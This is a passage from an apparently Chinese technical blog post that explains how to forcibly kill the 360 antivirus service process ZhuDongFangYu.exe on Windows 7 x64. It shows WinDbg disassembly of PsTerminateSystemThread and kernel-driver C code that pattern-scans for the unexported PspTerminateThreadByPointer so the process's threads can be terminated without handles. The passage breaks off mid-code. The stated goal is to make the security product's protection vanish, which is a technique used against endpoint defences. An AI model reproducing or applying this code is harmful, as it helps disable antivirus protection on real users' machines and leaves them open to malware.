原文再续,书接上回。上回我分析了360 在WIN64上实现自我保护的方法,并提出了用
户态使用 EnumWindows和PostMessage来突破它的自我保护。不过我也说到,尽管这种窗口
攻击的方法能让360的安全防护作用完全消失,但是拿没有窗口的ZhuDongFangYu.exe没有
办法。今天就提出一种方法,让这个可恶的ZhuDongFangYu.exe彻底消失。
由于 360在 Win64上的自我保护是采用微软的官方解决方案,而这套官方机制仅仅能监
视系统中句柄的变化。所以我们在结束360 进程的时候不能使用句柄。不使用句柄杀进程,
除了窗口攻击,在Ring 3还真的没有什么办法了。所以我们只能通过驱动来实现了。
首先用Stud_PE观察Windows 7 x64的 ntoskrnl.exe的导出表,发现导出的函数跟
Windows XP x86没有什么大区别。于是决定采用老方法,通过导出的
PsTerminateSystemThread动态定位未导出的PspTerminateThreadByPointer。再用
PspTerminateThreadByPointer依次结束ZhuDongFangYu.exe的每一个线程。不过话说得简
单,做起来就不太简单了,实现起来还是蛮费功夫的。
首先对PsTerminateSystemThread进行反汇编:
lkd> uf PsTerminateSystemThread
nt!PsTerminateSystemThread:
fffff800`03f65860 4883ec28 sub rsp,28h
fffff800`03f65864 8bd1 mov edx,ecx
fffff800`03f65866 65488b0c2588010000 mov rcx,qword ptr gs:[188h]
fffff800`03f6586f f6814804000010 test byte ptr [rcx+448h],10h
fffff800`03f65876 0f8485cd0200 je
nt! ?? ::NNGAKEGL::`string'+0x29eb0 (fffff800`03f92601)
nt!PsTerminateSystemThread+0x1c:
fffff800`03f6587c 41b001 mov r8b,1
fffff800`03f6587f e8d0590500 call nt!PspTerminateThreadByPointer
(fffff800`03fbb254)
fffff800`03f65884 90 nop
fffff800`03f65885 e97ccd0200 jmp
nt! ?? ::NNGAKEGL::`string'+0x29eb5 (fffff800`03f92606)
nt! ?? ::NNGAKEGL::`string'+0x29eb0:
fffff800`03f92601 b80d0000c0 mov eax,0C000000Dh
nt! ?? ::NNGAKEGL::`string'+0x29eb5:
fffff800`03f92606 4883c428 add rsp,28h
fffff800`03f9260a c3 ret
注意染成蓝色的那两行,除了告诉我们PsTerminateSystemThread调用了
PspTerminateThreadByPointer外,还提示了一个重要的信息:在Windows 7 x64上的
PspTerminateThreadByPointer有三个参数,不同于Windows XP x86上的
PspTerminateThreadByPointer只有两个参数。因为根据 WIN64上的__fastcall调用约定,
函数的前四个参数分别放在rcx、rdx、r8、r9里(r8b是一个新增加的寄存器,长度为1
字节,是 r8的低8 位),从第五个参数开始才放在堆栈里。然后查了一下WRK,估计它的原
型是:
typedef NTSTATUS (__fastcall *PSPTERMINATETHREADBYPOINTER)
(
IN PETHREAD Thread,
IN NTSTATUS ExitStatus,
IN BOOLEAN DirectTerminate
);
PSPTERMINATETHREADBYPOINTER PspTerminateThreadByPointer=NULL;
根据反汇编代码可以看出PspTerminateThreadByPointer的特征码是01e8,于是有了
以下代码:
ULONG32 callcode=0;
ULONG64 AddressOfPspTTBP=0, AddressOfPsTST=0, i=0;
if(PspTerminateThreadByPointer==NULL)
{
AddressOfPsTST=(ULONG64)GetFunctionAddr(L"PsTerminateSystemThread");
if(AddressOfPsTST==0)
return STATUS_UNSUCCESSFUL;
for(i=1;i<0xff;i++)
{
if(MmIsAddressValid((PVOID)(AddressOfPsTST+i))!=FALSE)
{
if(*(BYTE *)(AddressOfPsTST+i)==0x01 && *(BYTE
*)(AddressOfPsTST+i+1)==0xe8)
{
RtlMoveMemory(&callcode,(PVOID)(AddressOfPsTST+i+2),4); |